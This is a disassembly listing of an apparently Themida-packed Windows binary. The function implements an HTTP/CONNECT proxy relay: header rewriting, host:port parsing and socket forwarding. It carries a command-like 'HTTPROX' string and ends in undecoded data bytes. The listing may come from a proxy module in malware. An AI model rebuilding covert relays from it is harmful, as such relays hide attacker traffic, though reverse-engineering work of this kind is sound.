; ---------------------------------------------------------------------------


loc_428450:				; CODE XREF: sub_428360+B4j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_210]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset off_445218
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 3
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_210]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428515
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_1F8]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		mov	[esp+28h+var_9], 1
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_98]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+20h+arg_5480], 4
		call	sub_4017E4
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+1Ch+arg_1F8]
		test	al, al
		setz	bl
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42939F
		push	offset aHttp	; "http"
		lea	ecx, [esp+20h+arg_98]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42939F
		jmp	loc_42870A
; ---------------------------------------------------------------------------


loc_428515:				; CODE XREF: sub_428360+137j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_228]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 5
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_228]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42870A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+20h+arg_98]
		mov	[esp+20h+var_9], 0
		call	sub_4015D7
		push	offset byte_446F30
		lea	ecx, [esp+20h+arg_F0]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_108]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C54 ; ":"
		lea	edx, [esp+20h+arg_150]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 6
		call	sub_4016AE
		push	eax
		lea	ecx, [esp+20h+arg_AD]
		mov	byte ptr [esp+20h+arg_5480], 7
		call	sub_401FBE
		lea	ecx, [esp+1Ch+arg_150]
		mov	byte ptr [esp+1Ch+arg_5480], 6
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_108]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_258]
		push	1
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C54 ; ":"
		lea	ecx, [esp+20h+arg_180]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 8
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 9
		call	sub_4017E4
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_180]
		mov	byte ptr [esp+1Ch+arg_5480], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_258]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42939F
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_240]
		push	1
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C54 ; ":"
		lea	ecx, [esp+20h+arg_1B0]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 0Ah
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch+arg_1B0]
		mov	[esp+1Ch+arg_EC], eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Ah
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_240]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		mov	eax, [esp+1Ch+arg_EC]
		test	eax, eax
		jnz	short loc_42870A
		mov	[esp+1Ch+arg_EC], 50h


loc_42870A:				; CODE XREF: sub_428360+1B0j
					; sub_428360+1FCj ...
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_28]
		push	0
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F30
		lea	ecx, [esp+20h+arg_28]
		mov	byte ptr [esp+20h+arg_5480], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_42938E
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_40]
		push	2
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F30
		lea	ecx, [esp+20h+arg_40]
		mov	byte ptr [esp+20h+arg_5480], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_42937D
		lea	ecx, [esp+1Ch+arg_AD]
		push	ecx
		lea	ecx, [esp+20h+arg_68]
		call	sub_4014C9
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+1Ch+arg_478]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+1Ch+arg_4478]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+1Ch+arg_5480], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+1Ch+arg_4478]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_4451F0 ; "\r\n"


loc_4287D1:				; CODE XREF: sub_428360+48Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_4287F5
		test	cl, cl
		jz	short loc_4287F1
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_4287F5
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_4287D1


loc_4287F1:				; CODE XREF: sub_428360+47Bj
		xor	eax, eax
		jmp	short loc_4287F9
; ---------------------------------------------------------------------------


loc_4287F5:				; CODE XREF: sub_428360+477j
					; sub_428360+485j
		sbb	eax, eax
		sbb	eax, ebx


loc_4287F9:				; CODE XREF: sub_428360+493j
		test	eax, eax
		jz	loc_4288D3
		mov	edi, dword_50FACC


loc_428807:				; CODE XREF: sub_428360+56Dj
		mov	esi, offset byte_446F30
		lea	eax, [esp+1Ch+arg_4478]


loc_428813:				; CODE XREF: sub_428360+4D1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428837
		test	cl, cl
		jz	short loc_428833
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428837
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428813


loc_428833:				; CODE XREF: sub_428360+4BDj
		xor	eax, eax
		jmp	short loc_42883B
; ---------------------------------------------------------------------------


loc_428837:				; CODE XREF: sub_428360+4B9j
					; sub_428360+4C7j
		sbb	eax, eax
		sbb	eax, ebx


loc_42883B:				; CODE XREF: sub_428360+4D5j
		test	eax, eax
		jz	loc_4288D3
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_4478]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_4293D9
		lea	edx, [esp+1Ch+arg_4478]
		push	4000h
		lea	eax, [esp+20h+arg_478]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+2Ch+arg_478]
		push	offset asc_4451F0 ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_4451F0 ; "\r\n"
		lea	eax, [esp+1Ch+arg_4478]


loc_4288A3:				; CODE XREF: sub_428360+561j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_4288C7
		test	cl, cl
		jz	short loc_4288C3
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_4288C7
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_4288A3


loc_4288C3:				; CODE XREF: sub_428360+54Dj
		xor	eax, eax
		jmp	short loc_4288CB
; ---------------------------------------------------------------------------


loc_4288C7:				; CODE XREF: sub_428360+549j
					; sub_428360+557j
		sbb	eax, eax
		sbb	eax, ebx


loc_4288CB:				; CODE XREF: sub_428360+565j
		test	eax, eax
		jnz	loc_428807


loc_4288D3:				; CODE XREF: sub_428360+49Bj
					; sub_428360+4DDj
		mov	esi, dword_50FAF8
		lea	eax, [esp+1Ch+arg_478]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_428927
		push	offset asc_443C54 ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_428927
		cmp	byte ptr [eax],	20h
		jnz	short loc_42890B


loc_428902:				; CODE XREF: sub_428360+5A9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_428902


loc_42890B:				; CODE XREF: sub_428360+5A0j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_428927
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_42892E
; ---------------------------------------------------------------------------


loc_428927:				; CODE XREF: sub_428360+58Dj
					; sub_428360+59Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_42892E:				; CODE XREF: sub_428360+5C5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_4289C6
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_4294AD
		mov	edx, [esp+28h+arg_E0]
		xor	ecx, ecx
		mov	[esp+28h+arg_4C], ecx
		push	edx
		mov	[esp+2Ch+arg_50], ecx
		mov	word ptr [esp+2Ch+arg_4C], 2
		mov	[esp+2Ch+arg_54], ecx
		mov	[esp+2Ch+arg_58], ecx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esp+2Ch+arg_9D]
		mov	[esp+2Ch+arg_4A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+2Ch+arg_4C], eax
		jz	loc_4293EB
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+2Ch+arg_48]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_429448


loc_4289C6:				; CODE XREF: sub_428360+5D4j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_42906E
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_428A11
		lea	edx, [esp+38h+arg_45C]
		lea	ecx, [esp+38h+arg_24]
		push	edx


loc_4289E8:				; DATA XREF: Themida_:00610A58o
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+48h+var_24]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_428A44
; ---------------------------------------------------------------------------


loc_428A11:				; CODE XREF: sub_428360+67Aj
		lea	ecx, [esp+38h+arg_45C]
		push	ecx
		lea	ecx, [esp+3Ch+arg_24]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+48h+var_24]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_428A44:				; CODE XREF: sub_428360+6AFj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_429492
		cmp	eax, ebx
		jz	loc_429492
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+4Ch+arg_44C]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_4294BF
		mov	edi, offset asc_4451F0 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+48h+arg_44C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+4Ch+arg_44C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+4Ch+arg_44C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_4451F0 ; "\r\n"
		mov	[esp+58h+var_2C], ebx
		lea	eax, [esp+58h+arg_43C]


loc_428B0E:				; CODE XREF: sub_428360+7CCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428B32
		test	cl, cl
		jz	short loc_428B2E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428B32
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428B0E


loc_428B2E:				; CODE XREF: sub_428360+7B8j
		xor	eax, eax
		jmp	short loc_428B37
; ---------------------------------------------------------------------------


loc_428B32:				; CODE XREF: sub_428360+7B4j
					; sub_428360+7C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428B37:				; CODE XREF: sub_428360+7D0j
		test	eax, eax
		jz	loc_428EB9


loc_428B3F:				; CODE XREF: sub_428360+B48j
		mov	esi, offset byte_446F30
		lea	eax, [esp+58h+arg_43C]


loc_428B4B:				; CODE XREF: sub_428360+80Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428B73
		test	cl, cl
		jz	short loc_428B6F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428B73
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428B4B


loc_428B6F:				; CODE XREF: sub_428360+7F7j
		xor	eax, eax
		jmp	short loc_428B78
; ---------------------------------------------------------------------------


loc_428B73:				; CODE XREF: sub_428360+7F3j
					; sub_428360+803j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428B78:				; CODE XREF: sub_428360+811j
		test	eax, eax
		jz	loc_428EB5
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+5Ch+arg_43C]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_428EB0
		lea	edx, [esp+58h+arg_43C]
		lea	ecx, [esp+58h+arg_44]
		push	edx
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_1A4]
		push	0
		push	eax
		lea	ecx, [esp+64h+arg_44]
		mov	[esp+64h+arg_5444], 0Fh
		call	sub_4016AE
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 10h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_1A4]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428C5A
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_E4]
		push	1
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+58h+arg_5444], 11h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+58h+arg_E4]
		mov	[esp+58h+var_2C], eax
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428C5A:				; CODE XREF: sub_428360+8ACj
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_FC]
		push	0
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 12h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_FC]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428CE9
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_12C]
		push	1
		push	eax
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 13h
		call	sub_401500
		lea	ecx, [esp+58h+arg_12C]
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428CE9:				; CODE XREF: sub_428360+944j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_15C]
		push	0
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 14h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_15C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428D84
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_18C]
		push	1
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 15h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_18C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	[esp+58h+var_47]


loc_428D84:				; CODE XREF: sub_428360+9D3j
		mov	esi, offset asc_4451F0 ; "\r\n"
		lea	eax, [esp+58h+arg_43C]


loc_428D90:				; CODE XREF: sub_428360+A52j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428DB8
		test	cl, cl
		jz	short loc_428DB4
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428DB8
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428D90


loc_428DB4:				; CODE XREF: sub_428360+A3Cj
		xor	eax, eax
		jmp	short loc_428DBD
; ---------------------------------------------------------------------------


loc_428DB8:				; CODE XREF: sub_428360+A38j
					; sub_428360+A48j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428DBD:				; CODE XREF: sub_428360+A56j
		test	eax, eax
		jz	loc_428E59
		mov	esi, offset byte_446F30
		lea	eax, [esp+58h+arg_43C]


loc_428DD1:				; CODE XREF: sub_428360+A93j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428DF9
		test	cl, cl
		jz	short loc_428DF5
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428DF9
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428DD1


loc_428DF5:				; CODE XREF: sub_428360+A7Dj
		xor	eax, eax
		jmp	short loc_428DFE
; ---------------------------------------------------------------------------


loc_428DF9:				; CODE XREF: sub_428360+A79j
					; sub_428360+A89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428DFE:				; CODE XREF: sub_428360+A97j
		test	eax, eax
		jz	short loc_428E59
		mov	edi, offset asc_4451F0 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+58h+arg_43C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+5Ch+arg_43C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+5Ch+arg_43C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_428E59:				; CODE XREF: sub_428360+A5Fj
					; sub_428360+AA0j
		lea	ecx, [esp+68h+arg_34]
		mov	[esp+68h+arg_5434], 0Eh
		call	sub_401226
		mov	esi, offset asc_4451F0 ; "\r\n"
		lea	eax, [esp+68h+arg_42C]


loc_428E79:				; CODE XREF: sub_428360+B3Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428EA1
		test	cl, cl
		jz	short loc_428E9D
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428EA1
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428E79


loc_428E9D:				; CODE XREF: sub_428360+B25j
		xor	eax, eax
		jmp	short loc_428EA6
; ---------------------------------------------------------------------------


loc_428EA1:				; CODE XREF: sub_428360+B21j
					; sub_428360+B31j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428EA6:				; CODE XREF: sub_428360+B3Fj
		test	eax, eax
		jnz	loc_428B3F
		jmp	short loc_428EB5
; ---------------------------------------------------------------------------


loc_428EB0:				; CODE XREF: sub_428360+840j
		mov	[esp+58h+var_46], 1


loc_428EB5:				; CODE XREF: sub_428360+81Aj
					; sub_428360+B4Ej
		mov	ebx, [esp+58h+var_2C]


loc_428EB9:				; CODE XREF: sub_428360+7D9j
		mov	al, [esp+58h+var_47]
		push	0
		test	al, al
		jz	short loc_428EE1
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_428EFD
; ---------------------------------------------------------------------------


loc_428EE1:				; CODE XREF: sub_428360+B61j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_428EFD:				; CODE XREF: sub_428360+B7Fj
		call	near ptr 71AB428Ah
		nop
		mov	edi, offset asc_4451F0 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+68h+arg_42C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+6Ch+arg_42C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+70h+arg_42C]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_42902C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_428FB4


loc_428F63:				; CODE XREF: sub_428360+C52j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_428FB4
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+7Ch+arg_41C]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428FB4
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428FB4
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+8Ch+arg_40C]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_428F63


loc_428FB4:				; CODE XREF: sub_428360+C01j
					; sub_428360+C0Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_428FFE


loc_428FBA:				; CODE XREF: sub_428360+C9Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+0A0h+arg_3FC]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428FFE
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428FFE
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+0ACh+arg_3EC]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_428FBA


loc_428FFE:				; CODE XREF: sub_428360+C58j
					; sub_428360+C77j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_42928F
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	[esp+0BCh+var_AA], 1
		mov	[ebp+0BBh], esi
		jmp	loc_429292
; ---------------------------------------------------------------------------


loc_42902C:				; CODE XREF: sub_428360+BF7j
		mov	esi, dword_50FC90


loc_429032:				; CODE XREF: sub_428360+D0Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+7Ch+arg_41C]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_428FFE
		cmp	eax, 0FFFFFFFFh
		jz	short loc_428FFE
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+90h+arg_40C]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_429032
; ---------------------------------------------------------------------------


loc_42906E:				; CODE XREF: sub_428360+66Cj
		lea	ecx, [esp+38h+var_24]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_429532
		cmp	eax, ebx
		jz	loc_429532
		mov	ebx, dword_50FC90
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+48h+arg_248], eax
		mov	[esp+48h+arg_244], 1
		xor	eax, eax
		lea	ecx, [esp+48h+arg_248]


loc_4290E0:				; CODE XREF: sub_428360+D8Bj
		cmp	[ecx], edx
		jz	short loc_4290ED
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_4290E0


loc_4290ED:				; CODE XREF: sub_428360+D82j
		cmp	eax, 1
		jnz	short loc_429104
		mov	[esp+48h+arg_24C], edx
		mov	[esp+48h+arg_244], 2


loc_429104:				; CODE XREF: sub_428360+D90j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+48h+arg_44C]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+50h+arg_244]
		push	eax
		push	ecx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+5Ch+arg_230]
		push	edx
		push	eax
		call	sub_437000
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 13E89051h, 837168B1h,	840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE6Ch, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 7168B0BAh
		dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 2CEE890h,	333D7169h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 0FC8C3D8Bh, 6A0050h,	9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 27AE890h,	333D7169h
